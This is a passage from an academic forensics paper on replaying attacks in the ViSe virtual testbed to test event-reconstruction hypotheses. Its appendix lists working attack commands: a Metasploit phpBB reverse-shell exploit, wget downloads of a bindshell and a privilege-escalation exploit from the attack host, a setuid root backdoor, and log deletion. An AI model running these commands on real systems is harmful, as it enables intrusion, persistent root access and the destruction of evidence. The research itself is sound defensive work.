gardless of intent”. A central issue in evidence dynamics is to identify the causes
and effects of events. The evidence dynamics of different digital media varies.
A file can be modified or deleted, and timestamps can be updated. Unallocated
data on a disk can be overwritten, and volatile memory can be overwritten or
moved to pagefiles. Data transmitted on a network may leave traces in log files
and monitoring systems.
Our approach to performing reconstruction experiments starts with a hypoth-
esis H0 stating that one or more tools have been run as part of an attack. The
corresponding event chain is then replayed on the testbed. Following execution,
the virtual environment is analyzed to find the effects of the events. These effects
are in turn compared to the actual digital evidence. The purpose is to replay the
suspected attacks in a controlled environment in order to study the causes and
effects of the events involved in the attack. This allows us to replay the attack in
a forensically sound manner without compromising the integrity of the original
evidence or relying on files that have been compromised by the attacker.
As noted above, a multi-step attack can be studied as a series of intercon-
nected events, where the effects of one event are the causes of the subsequent
event. Although the digital forensic reconstruction framework separates causes
and effects, differentiating between these may be difficult in practice, as it may
require exhaustive testing. Using the terminology above, we therefore assume
that event ek+1 is the transition between state sk and sk+1. sk and sk+1 contain
the causes and effects of ek+1, respectively. Depending on the evidence dynamics
at play, an effect of one event can be superseded by the effects of a later event.
For example, if a file is modified twice, only the latter modification will be rep-
resented in the timestamp of the file. Another example occurs when a file is first
deleted and then overwritten by other data.
In some cases, there may be several competing hypotheses about the chain of
events leading to the digital evidence found in a digital crime scene. In this case,
each hypothesis is formulated and tested separately. Based on the competing
hypotheses H0,H1, . . . ,Hm, the tests may share one or more initial events. In
this case, the shared events need only be replayed once.
The methodology for testing in forensic reconstruction used in this paper can
be expressed as a five-step process:
1. Configure testbed with appropriate software according to a hypothesis.
2. Replay attack according to the hypothesis and save snapshots for each state.
3. Acquire and verify images of all snapshots.
4. Perform analysis through the comparison of states.
5. Compare images to digital evidence to support or refute the hypothesis.
The process is shown in Figure 1 and can be reiterated for alternative hypotheses.
4 Virtualization and the ViSe Testbed
In this section, we review the criteria for a forensic testbed and discuss the
advantages of virtualization in digital forensic testing. We give an overview of
VMware and the ViSe4 [1] testbed and consider integrity issues using ViSe as a
virtualization platform. We also discuss the digital forensic image created to aid
digital forensic testing. The use of ViSe is further demonstrated through specific
examples in Sections 5 and 6.
4.1 Virtualization
The main criteria for choosing a testbed are resource demands, availability and
usability, flexibility and efficiency, forensic soundness, and similarity to the dig-
ital crime scene [28]. While physical testbeds can most accurately represent a
4 http://www.cs.ucsb.edu/∼rsg/ViSe/
Fig. 1. Method for testing in forensic reconstructions.
digital crime scene, there is significant overhead required for the setup, config-
uration, and re-installation of the involved systems. Each hypothesis requires a
separate machine, and different hardware must be obtained to provide complete
coverage of the systems involved in an attack. Furthermore, the impractical-
ity of restoring a system to a previous state to test an alternative but similar
hypothesis is obvious.
Fig. 2. Illustration of a Virtual Environment.
Virtualization addresses these problems with negligible overhead. A single
computer can represent the entire digital crime scene, emulating different oper-
ating systems, configurations, and services as necessary. For example, Figure 2
represents a single physical Fedora Core 4 machine using VMware to emulate
a virtual network and three virtual operating systems running Fedora Core 3.
Virtualization environments are also more portable and reusable. They can be
shared between multiple hosts, and once a configuration is made, it can be re-
stored later in an investigation or reused in other investigations.
VMware 5.0 [29] was chosen as the emulation environment for ViSe [1], be-
cause it contains several advantages over other emulation environments such as
Xen [30], Microsoft Virtual PC [31], and UML [27]. VMware is able to emu-
late both Linux and Windows, as well as any other x86 operating system. Xen
and UML are limited to selected ports or currently available operating systems.
Neither Xen nor UML could emulate Windows platforms at the time of ViSe’s
creation. VMware and Microsoft Virtual PC are similar in scope and appli-
cation. However, Virtual PC runs on Windows and Apple Macintosh systems,
while VMware runs on Windows and Linux systems. VMware was chosen over
Virtual PC because development in Linux provided the most ideal environment
for developing and testing malicious attacks.
4.2 The ViSe Testbed
The ViSe testbed was developed at UCSB to test attacks on various vulnera-
ble operating systems and to test intrusion detection systems. ViSe originally
contained 10 operating systems and a total of 40 exploits against the programs
running on them. The operating systems included are Windows 2000, 2003, XP,
Red Hat 6.2, 7.2, SuSE 9.2, Debian 3.0, Fedora Core 3, FreeBSD 4.5, and 5.4. The
exploits, as detailed in Table 1-4 of [1], are both local and remote attacks. ViSe
was recently extended with an additional 30 remote attacks from the OWASP’s
top ten web application vulnerabilities framework [32], targeting 10 web appli-
cations running on both Windows and Linux platforms.
One reason for choosing VMware to implement ViSe is that the snapshot
and cloning features of VMware allow new images to be derived from old ones.
When using the snapshot feature, new snapshots are created incrementally, i.e.,
only changes are stored in the new snapshot file. The current ViSe tree requires
80 GB for 70 separate system configurations derived from the 10 base operating
system images. This is achieved by using the snapshot feature to create new
configurations of a system, which, in turn, provides a tremendous space savings
as compared to requiring a full install for each configuration.
The snapshot feature allows for the creation of a tree of successive changes
derived from a base system. Each tree represents a host involved in an attack,
such as attacker, victim, or IDS systems. New ViSe images are added to a tree by
making a snapshot with the desired modifications based on a previous snapshot
or root image. Unfortunately, multiple systems derived from the same tree cannot
be run simultaneously. For this purpose, it is necessary to use the full cloning
feature in VMware to create a full image, which uses the space requirements
of both the new files and the old configuration. The advantage of the cloning
feature is that cloned images can be run and distributed independently of the
ViSe tree, which allows the image and the events in that image to be replicated
by relevant parties.
When an attack is replayed, the attacker, detector, and vulnerable images are
booted, and the attack is run as prescribed in its accompanying documentation.
If the attack damages the configuration of a particular image, that image only
needs to be restored and rebooted to recover from the damage. Also, snapshots of
the images can be created and then restored, providing instantaneous recovery.
This method results in both a significant time savings and a decrease in storage
requirements compared to using physical systems to replay an attack.
4.3 Integrity Issues
There are a number of integrity issues to be considered related to using VMware
as the virtualization platform for ViSe. The first issue concerns data contami-
nation between the host and guest operating systems. We have not been able
to demonstrate such an issue on a Fedora Core 3 system, but as a precaution-
ary measure, images should be isolated from each other by cloning each image
on a separate sanitized partition. Each new cloned image becomes a new ViSe
image root, which is used to create new snapshots over empty memory. This
approach guarantees that there is no data contamination between the host and
the guest operating systems nor between the different guest systems. Note that
ViSe was initially designed to be simple with minimal space requirements, and
the integrity of the images was not a primary consideration. As a result, the first
ViSe images were created on un-sanitized host partitions.
It should be noted that VMware image files are proprietary, and thus they
are not identical copies of system disks or partitions. In this paper, we are only
concerned with the file systems contained in the VMware image files, and not
with the VMware-files themselves. We perform the testing in VMware, and the
forensic acquisition in preparation for analysis is either performed in VMware or
by using the vmware-mount.pl tool for mounting VMware images. The integrity
of the disk images can be verified using one-way hash functions such as MD5,
SHA-1 or SHA256, which provide the necessary integrity for our purposes5.
Another integrity issue that should be considered is the virtual network used
to connect the images. VMware allows several different types of network con-
nectivity options: bridged to a physical device, a NAT to the host’s IP address,
virtual image to host-only, and custom [29]. Only bridged networking connects
the virtual network to the physical network. This allows transparent connections
between virtual and physical hosts. Because the extent of all attacks was known
and documented during the creation of ViSe, images were created using static
IP addresses in the subnet of their host system. In general, however, the testbed
host operating system should be disconnected from any external networks. In
particular, if the guest operating system is able to reach external networks, the
test may be compromised, and malicious code could spread from the testbed.
5 Recent research has uncovered weaknesses in MD5 and SHA-1 [33, 34].
The third integrity issue is the “shared folders” feature of VMware. This
feature is used to allow file transfers between the host and guest systems [29].
During ViSe’s construction, this feature was enabled to simplify the transfer of
files and data. During forensic reconstruction, it should be disabled to prevent
cross-contamination between the host and guest system. It can be re-enabled for
the purpose of analysis to facilitate external analysis and to review the results
outside of ViSe (see Section 4.4).
The last integrity issue involves the similarity of attacks in the virtual testbed
to attacks on physical machines. Most importantly, only a limited amount of
hardware devices is supported by the virtualization engines. If the attack de-
pends on hardware that is not emulated by the virtual machine, the attack may
not be reproducible on a virtual testbed. For example, the attack developed
by David Maynor and Jon Ellch [35] (expected to be presented at BlackHat
2006) exploits specific wi-fi drivers that may not be supported in a virtual en-
vironment. Furthermore, sophisticated attacks could detect and respond to the
presence of VMware and other forensic tools [36], for example by breaking out of
VMware and accessing the host system [37]. Another potential problem is anti-
forensic attacks, which purposely attempt to thwart forensic investigations [38],
for example by generating excess or confusing signatures in order to make event
reconstruction difficult. Attacks such as these are uncommon and require special
consideration. They are not considered in this paper.
4.4 The Virtual Forensic Analysis Image
In order to be able to handle the test images in a forensically sound manner,
a forensic analysis system has been added to ViSe. The main purpose of this
system is to acquire copies of hard drive images from the test systems (using
dcfldd6), as well as to provide a verification of the integrity of the copies (using
tools such as md5sum and sha256sum).
The forensic analysis system is built on Fedora Core 3, and it is installed as
a new root in the ViSe tree to avoid any conflicts with the test images. Such
a conflict could, for example, occur if the LVM (Logical Volume Manager) is
used. LVM requires that the id of the underlying physical volumes be unique
when the volumes are mounted. Unfortunately, VMware’s cloning and snapshot
features retain the LVM id of the root image. Therefore, if the forensic analysis
image was added to a ViSe tree, it could not mount any other images of that
same tree, because the LVM id would already be present.
In order to avoid contamination between the external network and the foren-
sic analysis system, the virtual forensic analysis system is configured without a
virtual network interface. As an additional precaution, the host operating system
can be physically disconnected from the network during the analysis.
A virtual disk can be analyzed in VMware by adding it as a disk to the foren-
sic analysis system. This disk should be provided as an independent and non-
persistent disk, in order to prevent any changes to the image. Because VMware
6 dcfldd is a forensic version of the GNU tool dd, commonly used for copying disks
and partitions.
requires write access to its virtual disk images, the forensic analyst has to mount
them in read-only mode to assure that the file systems of those images are not
changed.
It must be noted that in VMware it is not possible to take a snapshot of a
system with an independent disk, mount an independent disk in a snapshot, or
mount several instances of different snapshots based on the same base image.
The image acquisition either has to be performed sequentially (by rebooting the
virtual analysis host for each disk image to be analyzed) or by creating a full
disk clone for each snapshot. By using the latter method, several disks can be
mounted at once.
The images to be analyzed are copied to a “shared folder” directory using
dcfldd. After all the images have been acquired and verified, the forensic anal-
ysis can be performed outside ViSe. The primary reason for this is that there is
a significant performance penalty in performing the analysis in a virtual envi-
ronment (see Section 7.3). By performing the analysis outside ViSe, the results
are also available for external analysis and review.
5 Scenario – “The Trojan Did It!”
A common theme in digital forensics is the “Trojan Defense”, where a defender
claims that his computer was hijacked by another party and used to commit a
crime. This defense has been successfully used to achieve acquittal in criminal
cases [39, 40, 8]. This Section provides an overview of an event reconstruction
experiment related to such a defense. In Section 6, we provide a more detailed
example with practical results.
Consider the example where the defender accused of causing a denial-of-
service (DoS) attack on a web-server claims that his computer was attacked
and compromised by the W32/Blaster worm [41]. The W32/Blaster worm has
a backdoor component that was allegedly used to launch the web-server attack
from the host. Based on this, a forensic investigator can formulate a hypothesis
that corresponds to the defense:
The defender’s host running Windows XP has been infected by the W32/Blaster
worm. The W32/Blaster worm has opened a backdoor on the host, which has
been exploited by an external attacker running Linux Fedora Core 3. By using
the backdoor, the attacker has launched a DoS-attack on a web server on the
Internet.
If this hypothesis is validated, it can support the case of the defense. On the
other hand, if the hypothesis is refuted, the case of the defense is weakened. The
hypothesis can be seen as an event chain, as illustrated in Figure 3. This event
chain has three events: e1 corresponds to the worm infection, e2 corresponds
to an attacker using the worm’s backdoor, and e3 corresponds to an outbound
attack launched through the backdoor. The four states s0, s1, s2, and s3 corre-
spond to the states. The model is an abstraction of the involved incidents, and
we could obviously create a more detailed event chain if necessary.
Fig. 3. State diagram for worm attack scenario.
The investigators can now perform a reconstruction experiment according to
the process in Fig. 1. The testbed is configured with a virtual network and the
following hosts:
– Worm source: Windows XP, infects the defender’s host with W32/Blaster
– Worm payload source
– Attacker’s host: Linux Fedora Core 3
– Defender’s host: Windows XP host
– Web server: MS IIS, target of DoS attack
Based on the specifics of the attack, third-party hosts, such as DNS servers, may
have to be included as well.
The attack is replayed according to the hypothesis, as shown in Figure 4. A
VMware snapshot is taken for each of the involved hosts for every state. These
snapshots are then copied to images in a forensically sound fashion for analysis.
Timestamps and hash-sums are taken of all the images for verification purposes.
Based on these images, subsequent states are compared in order to identify
all changes between two states. These changes are the effects of an event. As
previously mentioned, some effects can be superseded by the effects of later
events.
Fig. 4. Acquisition and analysis for worm attack scenario.
Finally, the results of the experiment are compared to the digital evidence
acquired from the actual crime scene. If the findings of the experiment are consis-
tent with the digital evidence, the experiment provides support for the defender’s
case. Otherwise, a new experiment should be run based on new or modified hy-
potheses.
6 Scenario – A Multi-step Attack
In this section we demonstrate the use of the ViSe testbed for testing a multi-
step attack. The attacks are chosen from the database of attacks available in the
ViSe testbed. As part of a criminal investigation, it is necessary to determine the
chain of events in a forensically sound manner. Based on the available evidence
in the digital crime scene, a digital forensic reconstruction is initiated and an
initial hypothesis is stated:
An attack host running Fedora Core 3 has launched and completed a multi-
step attack against the victim host running Fedora Core 3. The multi-step attack
consists of an Nmap scan, an exploit of the phpBB 2.0.10 viewtopic.php vulner-
ability, an installation of bindshell on port 12497 named httpd, an exploit of a
vulnerable iwconfig buffer overflow vulnerability, the creation of a non-root user
and root backdoor, and finally the removal of traces.
In order to support or refute this hypothesis, we wish to perform an isolated
test of the multi-step attack. Virtual systems similar to the ones in the hypothesis
are set up in ViSe, and the multi-step attack is replayed as described below.
When the test is finished, the analyst can compare the effects of the attack
in the virtual environment to the digital evidence in the digital crime scene.
If the identified effects do not support the hypothesis, the hypothesis should
be reformulated, and the necessary test events should be replayed. It may be
necessary to include events that are not directly related to the attack in the test,
such as intentional evidence manipulation (e.g., file modifications or deletions)
and regular user or system activities (e.g., rebooting and disk defragmentation).
Note that the analyst does not need access to all the hosts involved in the
digital crime scene. The results of the test can be compared to any available evi-
dence. However, the certainty of the results is reduced when the digital evidence
is incomplete.
6.1 Configuring ViSe for Replaying the Attack
To replay the attack, images are derived from snapshots in the ViSe library to
represent the attack host, a detector host, and a vulnerable host. Each image
is an installation of Fedora Core 3 with system configuration and files specific
to its purpose. The attacker represents the single host conducting all the stages
of the attack, including network scanning and vulnerability exploitation. The
detector image is running a Snort 2.4.3 IDS system. The vulnerable image snap-
shot is created by adding a local system buffer overflow vulnerability (iwconfig)
to a predefined snapshot containing a remote, web-based vulnerability (phpBB
2.1.10). Both vulnerabilities are available in the ViSe library. Each snapshot is
then created into a full-clone on a separate, zeroed-out partition, as discussed in
Section 4.3. Figure 5 shows the resulting forensic testbed.
Fig. 5. ViSe image tree for example attack.
6.2 Replaying the Attack
The hypothesized event chain representing the attack is divided into a number of
discrete events, each leading to a new state. Each event leads to a state snapshot
that can be examined independently in order to determine the sequence of events
leading to the final image. The effects of an event are identified by finding the
differences between two successive states. The attack is replayed as follows (the
details of the attack are provided in the Appendix):
– Event 1: Network scan, port scan, and manual web browsing by attacker.
The attacker uses nmap to determine the vulnerable host’s address and the
open ports on the victim. The attacker then uses the ELinks web browser
to visit the web-page /phpBB2/ on the victim.
– Event 2: The attacker exploits the phpBB 2.0.10 viewtopic.php arbitrary
code execution vulnerability[42] and gains a remote shell on the victim host
with username apache.
– Event 3: The attacker retrieves a bindshell using wget and executes it in
/tmp. The name of the bindshell is httpd, named to appear identical to the
default process run by apache. He then disconnects from his current remote
shell and connects to the listening port of the bindshell at port 12497.
– Event 4: The attacker searches for setuid programs using find and discovers
a vulnerable version of iwconfig[43]. He retrieves an exploit using wget and
executes it, becoming root.
– Event 5: The attacker creates a non-root user bash and uses wget to retrieve
a backdoor named ”]”, which he places in /usr/bin. He then disconnects
from the bindshell.
– Event 6: The attacker logs in as the newly created user bash using ssh and
becomes root using the backdoor. The attacker then kills his old bindshell,
and removes all traces in /tmp and /var/log.
Note that there is a trade-off between the granularity of a reconstruction and
the number of events. At the highest-level of detail, every system call can be
viewed as an event. At the other extreme, an entire attack can be viewed as a
single event.
6.3 Attack Analysis and Verification
When the attack is replayed, the different stages are represented by seven states,
as shown in Figure 6. Each state consists of a snapshot for each host, and one
state is reached from the previous state by an event. Images of all the snapshots
are acquired in the ViSe forensic system using the tool dcfldd. The analysis is
performed on a non-virtual host outside ViSe, as discussed in Section 4.4.
Fig. 6. State diagram for multi-step attack.
The attack is analyzed by comparing the states of the attack sequentially.
Every change between two states sk and sk+1 is considered an effect of the
corresponding event ek+1. If the effect is superseded by a later event, for instance
through a file modification or file deletion, only the latter effect is considered.
In this example, we present the results of the analysis in tables, where each
row indicates the host, the type of evidence, the name of the evidence identifier,
and what action has affected the evidence. We do not claim completeness of the
analysis results – the tables are intended only to demonstrate the use of ViSe
and the reconstruction methodology. For the purpose of this example, we only
consider evidence found in the file systems and log files of the victim host, as
well as in the network monitoring and intrusion detection system.
Table 1 shows the effects of the portscan on the victim system, as well as
on the network IDS. We see that the activity has been logged in the system
files, and the Snort IDS classifies the activity as a “portscan”. The manual web
browsing has caused the web access log and two database files related to PhpBB
to be updated. The modified file/etc/cups/certs/0 is repeated throughout the
experiment, and seems to be an artifact of the Fedora Core installation used.
Host Type Name Action
V F /var/log/messages M
V F /var/log/httpd/access log M
V F /var/log/secure M
V F /var/lib/mysql/mysql/phpbb sessions.MYI M
V F /var/lib/mysql/mysql/phpbb sessions.MYD M
V F /etc/cups/certs/0 M
T F /var/log/snort/snort.log.* C
T I (portscan) TCP Portsweep: Attacker C
T I (portscan) TCP Portscan: Attacker to Victim C
T N GET /phpBB2/ HTTP/1.1: Attacker to Victim:80 C
Table 1. Effects of Event 1. The following notation is used: A=attack host, V=victim
host, T=third-party host, F=file, N=network, I=Snort IDS log, C=create, M=modify,
D=delete
In Table 2 we see further logging on the victim system and three IDS alerts
(including one outbound alert) indicating a PHP-based attack. Both the web
access log and error log have been updated, and several PhpBB database files
have been modified.
Table 3 indicates that a command has been run as root on the victim system
and that a new file /tmp/httpd has been generated. There is logging activity in
several system logs, but no IDS alerts have been triggered. The network dump
for the event indicates that the file httpd was downloaded by the victim host.
Table 4 shows the creation of two new files /tmp/iwconfig and /tmp/progs,
as well as another IDS outbound alert. Also, the network dump indicates that
the file iwconfig was downloaded by the victim host.
In Table 5 the user database files are updated, and a new home directory
is created with the user-name bash, and a new file “]” is created in /usr/bin.
There are no IDS alerts, but the network traffic indicates that another file has
been downloaded.
Finally, in Table 6 several files created during the attack are deleted, and we
see that an SSH connection has been established. The attacker has logged in and
attempted to clean up the traces by deleting all the files in /tmp and /var/log.
Based on these results, a comparison between the tables and the digital evi-
dence can be performed. Each table entry that is not superseded by a later event
can be compared to the digital evidence in order to support or refute the attack
Host Type Name Action
V F /var/log/httpd/error log M
V F /var/log/httpd/access log M
V F /var/log/secure M
V F /var/lib/mysql/mysql/phpbb sessions.MYI M
V F /var/lib/mysql/mysql/phpbb sessions.MYD M
V F /var/lib/mysql/mysql/phpbb topics.MYI M
V F /var/lib/mysql/mysql/phpbb topics.MYD M
V F /etc/cups/certs/0 M
T I WEB-PHP viewtopic.php access: Attacker to Victim:80 C
T I (http inspect) DOUBLE DECODING ATTACK: Attacker to Vic-
tim:80
C
T N TCP Connection Established: Attacker to Victim:4321 C
T I ATTACK-RESPONSES id check returned userid: Victim:4321 to
Attacker
C
Table 2. Effects of Event 2.
hypothesis. Note that there may be several reasons why there is no match. The
evidence of an attack may have been changed, deleted, or overwritten, depending
on the evidence dynamics of the evidence in question. It may be necessary to
formulate an alternative hypothesis or add new events in order to explain such
discrepancies.
Host Type Name Action
V F /root/.bash history M
V F /tmp/httpd C
V F /var/log/wtmp M
V F /var/log/lastlog M
V F /var/log/messages M
V F /var/log/httpd/error log M
V F /var/run/utmp M
V F /etc/cups/certs/0 M
T N File httpd Downloaded: Victim to Attacker:80 C
T N TCP Connection Terminated: Attacker to Victim:4321 C
T N TCP Connection Established: Attacker to Victim:12497 C
Table 3. Effects of Event 3.
6.4 Alternative Hypothesis Formulation
Assume that we do not find support for the hypothesis in the original evidence.
For instance, assume that the effects of Event 4 (the iwconfig buffer overflow)
Host Type Name Action
V F /tmp/iwconfig C
V F /tmp/progs C
V F /etc/cups/certs/0 M
T N File iwconfig Downloaded: Attacker:80 to Victim C
T I ATTACK-RESPONSES id check returned root: Victim:12497 to
Attacker
C
Table 4. Effects of Event 4.
Host Type Name Action
V F /etc/shadow- M
V F /etc/gshadow- M
V F /etc/gshadow M
V F /etc/group M
V F /etc/group- M
V F /etc/shadow M
V F /etc/passwd M
V F /var/log/messages M
V F /var/log/secure M
V F /usr/bin/] C
V F /home/bash/.* C
T N File ] Downloaded: Attacker:80 to Victim C
T N TCP Connection Terminated: Attacker to Victim:12497 C
Table 5. Effects of Event 5.
Host Type Name Action
V F /tmp/* D
V F /var/log/* D
V F /var/run/utmp M
V F /etc/cups/certs/0 M
T N SSH Connection Established: Attacker to Victim:22 C
Table 6. Effects of Event 6.
do not match the original evidence. In this case, we develop an alternate hy-
pothesis and replay the attack from the last common state. We revert to the
State 3 snapshot and create a new state diagram, represented in Figure 7. Our
alternative hypothesis can be stated as follows:
An attack host running Fedora Core 3 has launched and completed a multi-
step attack against the victim host running Fedora Core 3. The multi-step attack
consists of an Nmap scan, an exploit of the phpBB 2.0.10 viewtopic.php vulner-
ability, an installation of bindshell on port 12497 named httpd, an exploit of a
cdrecord environment variable privilege escalation vulnerability[44], the creation
of a non-root user and root backdoor, and finally the removal of traces.
Fig. 7. Alternative Hypothesis for a multi-step attack.
The advantage of ViSe becomes apparent when we consider the similarities
of our previous hypothesis to the alternative one proposed above. By running
the new attack from the snapshot of State 3, we create the new states 4a, 5a,
and 6a, which we can compare to the original evidence to determine similarity.
7 Discussion
In this section, we discuss some aspects related to the use of ViSe and VMware
as part of a digital forensic reconstruction. Central to the discussion is the trade-
off between the detail of reconstruction and the difficulty of performing a recon-
struction. We discuss what type of attacks ViSe is suitable for and give examples
of some cases where other approaches might be more suitable. In addition, we
consider some performance issues related to using ViSe for event reconstruction.
7.1 Presenting a Real Case in Court
The proposed approach is intended to be a part of a digital investigation. The
approach does not replace conventional digital forensics, but supplements the
forensic investigation by providing a methodology to find additional support for
hypotheses about a digital crime scene. In court, the results of a digital forensic
reconstruction can be used to provide additional support or to refute a particular
chain of events. An investigator will take the proofs acquired from the digital
crime scene and present them in court. The results of the reconstruction are then
used to support an interpretation of the evidence.
In a real case, it is essential to place the reconstruction in the context of
the crime and to present a thorough explanation of the assumptions made in
the reconstruction. The initial state of the reconstruction, as hypothesized in
H0, can only be an approximation of the digital crime scene, and a good court-
room defense lawyer will exploit any unexplained discrepancies. Furthermore, a
reconstruction must take into consideration malware and anti-forensic tools and
explain what consequences such tools can have on the digital evidence and on
the reconstruction itself.
7.2 Timing and Complexity Issues
We have demonstrated how ViSe can be used as part of a reconstruction through
two scenarios involving the Trojan defense and a multi-step attack involving an
attacker host, a victim host, and a third party host. There are, however, cases
where ViSe and the event-based reconstruction approach is less suitable.
Some computer attacks exploit timing issues, such as race conditions, and
may be difficult or impossible to recreate in a virtual environment. Also, dis-
tributed events are not necessarily synchronized, and the order of events may be
non-deterministic. In the worst case, a reconstruction may be impossible because
of such timing issues, or the reconstruction may have to be run on a physical
testbed.
Another class of attacks that can be difficult to replay in a virtual testbed is
attacks that depend on specific network conditions or involve a high number of
hosts. An example of such an attack is a DDoS (Distributed Denial-of-Service)
attack, where thousands of hosts may be involved in the attack of one or more
victim hosts. Large-scale worm infection is another example that involves a high
number of hosts, acting both as victims and attackers. In such cases, it may be
more fruitful to study the attack through models or simulations, as was done
in [11].
7.3 Performance Issues
As discussed in Section 4, the main performance advantage of using ViSe is that
snapshots of different system states are efficiently saved and restored. ViSe also
provides a library of reusable snapshots with different operating systems, vul-
nerabilities, and exploits. This significantly reduces the time for setting up a
virtual environment for reconstruction, and it facilitates the reuse of snapshots
for testing multiple hypotheses. Different variations of an attack can be ana-
lyzed as a tree with different branches of analysis. All of the states in the tree
are stored and can consequently be restored in reconstructions related to other
investigations. In this way, the focus of the testing is moved from setting up and
configuring a testbed to the actual digital forensic analysis.
Pentium 4 VMware
Boot time 1m9s 2m
Reboot time 1m22ss 2m20s
Take snapshot NA 8s
Restore state NA 9s
Clone full image (7.6GB) NA 8m6s
Copy partition image (dcfldd) 11m21s 48m46s
Hash all files in image (sha256deep) 3m56s 26m38s
Extract all strings from image (strings) 6m57s 118m47s
Table 7. Performance comparisons.
We have compiled a list of some performance measurements for Fedora Core
3 in Table 7. The measurements are performed on a 10GB disk image containing
an ext3 partition, using the time measurement tool where applicable. The boot
and reboot measurements were performed without a graphical user interface.
We can see from the table that there is a relatively high performance penalty
related to some common digital forensic operations, such as string extraction.
The performance benefits of using ViSe are in the replay of the attack, not in
the analysis of the results. Therefore, we recommend that the ViSe testbed only
be used for image acquisition and verification, as well as for the actual replay of
the attack. The forensic analysis (i.e., comparing the different states related to
an attack) should be performed on an external system.
8 Conclusions and Further Work
We have shown how ViSe provides an environment for efficient event recon-
struction and testing through reusable snapshots representing different states
of an attack. ViSe provides a framework with a library of operating systems,
vulnerable services, and exploits, providing a controlled and efficient testbed for
digital forensic testing. The attack is replayed in the virtualization testbed and
analyzed with respect to an initial hypothesis. As ViSe’s library of operating
systems, services, and exploits grows, the time to construct a virtual environ-
ment corresponding to a digital crime scene decreases. Therefore, the focus of
the event reconstruction testing is moved from setting up and running an attack
to the analysis of its effects. Although VMware supports a wide range of operat-
ing systems, there is no support for emulation of embedded systems such as cell
phones and PDAs. An extension of ViSe to include digital event reconstruction
on embedded systems is a topic for further research.
As outlined in Section 2.3, the problem of automated forensics of both live
and already compromised systems has been investigated in several contexts. The
work published in this paper complements many of the proposed solutions for
automated forensic analysis, and it would be interesting to integrate some of
these approaches with our work. Of particular importance are the problem of
generating relevant hypotheses before performing the reconstruction experiments
and the problem of performing automated comparison of the results with the
digital evidence. Automating these tasks will dramatically increase the efficiency
and usability of performing reconstruction experiments in ViSe.
In court, a reconstruction will be subject to thorough questioning. It is es-
sential to convince a court that the testing is forensically sound and that it
is relevant to the original digital crime scene. Although a reconstruction can
neither prove a hypothesis with absolute certainty, nor exclude the correctness
of other hypotheses, a standardized environment, such as ViSe, combined with
event reconstruction and testing, can lend credibility to an investigation and be
a great asset in court. Further work on understanding the effects of anti-forensic
tools on a reconstruction will add value to the approach.
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Attack Details
This appendix contains the specific commands used in the multi-step attack. The
ViSe IP addresses are 128.111.48.125 (detector), 128.111.48.131 (attack host),
and 128.111.48.118 (vulnerable host).
#Event 1: Network, ping and webserver scan
nmap -sP 128.111.48.1-255 > ping ; cat ping
nmap 128.111.48.118 > 118 ; cat 118
links 128.111.48.118/phpBB2/
#Event 2 : Run vulnerable phpBB attack using Metasploit
./msfconsole
>show exploits
>use phpbb_highlight
>show
>show targets
>set TARGET 0
>show payloads
>set PAYLOAD cmd_unix_reverse
>show options
>set RHOST 128.111.48.118
>set PHPBB_ROOT /phpBB2
>set LHOST 128.111.48.131
>check
>exploit
#Event 3: Run vulnerable phpBB attack
id
cd /tmp; wget 128.111.48.131/httpd
chmod 700 ./httpd
./httpd
quit
#Event 4: Connect to bindshell and exploit iwconfig
nc 128.111.48.118 12497 -vv
find / -user root -perm -4000 -print 2> /dev/null >progs
cat progs
/sbin/iwconfig -v
wget 128.111.48.131/iwconfig
chmod 700 iwconfig; /iwconfig
whoami
#Event 5: Create a user bash and install a setuid backdoor
/usr/sbin/adduser bash
passwd bash
wget 128.111.48.131/]
chmod 4755 ] ; mv ] /usr/bin
#Event 6: Clear logs and backdoor tracks
ssh bash@128.111.48.118
/usr/bin/]
ps -ef | grep apache
kill <pid> #kill backdoors pids
rm -rf /tmp/*; rm -rf /var/log/*

References
Academic References
[A1] Jonathon Abbott, Jim Bell, Andrew Clark, Olivier De Vel, and George Mohay.
Automated recognition of event scenarios for digital forensics. In Proceedings of
the 2006 ACM Symposium on Applied computing (SAC), pages 293–300, New York,
NY, USA, 2006. ACM Press.
[A2] Philip E. Agre and Marc Rotenberg, editors. Technology and Privacy: The New
Landscape (Third printing). MIT Press, 2001.
[A3] Colin Aitken and Franco Taroni. Statistics and the Evaluation of Evidence for
Forensic Scientists. Wiley, 2004.
[A4] Periklis Akritidis, Kostas Anagnostakis, and Evangelos P. Markatos. Efficient
content-based fingerprinting of zero-day worms. In Proceedings of the International
Conference on Communications (ICC), 2005.
[A5] Ethem Alpaydin. Introduction to Machine Learning. The MIT Press, 2004.
[A6] James P. Anderson. Computer security threat monitoring and surveillance. Tech-
nical report, National Institute of Standards and Technology, 1980.
[A7] Andre´ A˚rnes, Paul Haas, Giovanni Vigna, and Richard A. Kemmerer. Digital
forensic reconstruction and the virtual security testbed ViSe. In Proceedings of
Conference on Detection of Intrusions and Malware and Vulnerability Assessment
(DIMVA), LNCS 4064. Springer, 2006.
367
368 REFERENCES
[A8] Andre´ A˚rnes, Paul Haas, Giovanni Vigna, and Richard A. Kemmerer. Using a
virtual security testbed for digital forensic reconstructions. Journal in Computer
Virology, 2, 2006. Status: accepted, to appear.
[A9] Andre´ A˚rnes, Karin Sallhammar, Kjetil Haslum, Tønnes Brekne, Marie Elisa-
beth Gaup Moe, and Svein Johan Knapskog. Real-time risk assessment with
network sensors and intrusion detection systems. In International Conference on
Computational Intelligence and Security (CIS), LNCS 3801/3802. Springer, 2005.
[A10] Andre´ A˚rnes, Karin Sallhammar, Kjetil Haslum, and Svein J. Knapskog. Real-time
risk assessment with network sensors and hidden Markov models. In Proceedings
of the 11th Nordic Workshop on Secure IT-systems (NORDSEC), 2006.
[A11] Andre´ A˚rnes, Fredrik Valeur, Giovanni Vigna, and Richard A. Kemmerer. Using
hidden Markov models to evaluate the risks of intrusions – system architecture
and model validation. In Proceedings of Recent Advances in Intrusion Detection
(RAID), LNCS 4219. Springer, 2006.
[A12] Stefan Axelsson. Intrusion detection systems: A survey and taxonomy. Technical
Report 99-15, Chalmers University, March 2000.
[A13] Jai S. Balasubramaniyan, Jose O. Garcia-Fernandez, David Isacoff, Eugene H. Spaf-
ford, and Diego Zamboni. An architecture for intrusion detection using autonomous
agents. In Proceedings of the 14th Annual Computer Security Applications Confer-
ence (ACSAC), pages 13–24. IEEE Computer Society, 1998.
[A14] Justin Balthrop, Stephanie Forrest, M.E.J. Newman, and Matthew M. Williamson.
Technological networks and the spread of computer viruses. Science Magazine,
304:527–529, 2004.
[A15] Paul Baran. On distributed communications networks. IEEE Transactions of the
Professional Technical Group on Communications Systems, CS-12(1), March 1964.
